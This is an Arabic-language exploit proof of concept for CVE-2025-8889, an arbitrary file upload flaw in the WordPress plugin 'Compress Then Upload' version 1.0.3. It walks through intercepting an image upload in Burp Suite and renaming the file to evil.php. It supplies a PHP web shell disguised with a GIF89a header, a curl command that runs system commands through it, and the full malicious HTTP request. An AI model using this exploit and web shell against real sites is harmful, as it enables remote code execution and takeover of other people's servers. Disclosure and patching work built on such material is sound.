
إثبات مفهوم لاستغلال CVE-2025-8889: رفع ملف تعسفي يؤدي إلى تنفيذ كود عن بعد في إضافة WordPress Compress Then Upload الإصدار 1.0.3. يتضمن إثبات مفهوم خطوة بخطوة باستخدام Burp Suite لتجاوز التحقق من MIME وتنفيذ كود PHP.
التاريخ: 2025-07-23
مؤلف الاستغلال: محمد جليك
الصفحة الرئيسية للبائع: https://wordpress.com/plugins/compress-then-upload
رابط البرنامج: https://downloads.wordpress.org/plugin/compress-then-upload.latest-stable.zip
الإصدار: 1.0.3
تم الاختبار على: Debian، WordPress 6.8.1، Apache 2.4.62، PHP 8.2.28
CVE: CVE-2025-8889
إضافة "Compress Then Upload Images" في WordPress تفشل في التحقق بشكل صحيح من امتدادات الملفات وأنواع MIME أثناء رفع الصور عبر واجهة رفع الوسائط. على الرغم من وجود التحقق من جانب العميل، يمكن تجاوزها عن طريق اعتراض طلب الرفع وتعديله.
يمكن للمستخدم الموثّق الذي لديه صلاحيات رفع الوسائط (دور المؤلف أو أعلى) استغلال ذلك من خلال:
قم بإنشاء ملف صورة عادي، مثل (أي ملف JPG صالح).
regular.jpgالخطوة 2: رفع الصورة العادية عبر لوحة تحكم WordPress
regular.jpg بشكل طبيعي.الخطوة 3: اعتراض طلب الرفع وتعديله باستخدام Burp Suite
filename="regular.jpg" إلى filename="evil.php"GIF89a;
<?php
if (isset($_GET['cmd'])) {
system($_GET['cmd']);
}
Note: The GIF89a; mimics a valid GIF header to bypass weak image validations.
Keep the Content-Type as image/jpeg.
قم بإعادة توجيه الطلب المعدّل إلى الخادم.
**الخطوة 4: تشغيل شل الويب المرفوع**
إذا نجح الرفع، فسيتم حفظ ملف PHP في دليل uploads، مثل:
http://target-site.com/wp-content/uploads/2025/07/evil.php
الوصول عبر المتصفح أو curl:
curl "http://target-site.com/wp-content/uploads/2025/07/evil.php?cmd=id"
### مثال لطلب الرفع الخبيث (Burp Suite)
```http
POST /index.php?rest_route=/wpctu-api/v1/upload HTTP/1.1
Host: localhost:8000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: application/json, text/plain, */*
...
Content-Disposition: form-data; name="file"; filename="evil.php"
Content-Type: image/jpeg
GIF89a;
<?php
if (isset($_GET['cmd'])) {
system($_GET['cmd']);
}
?>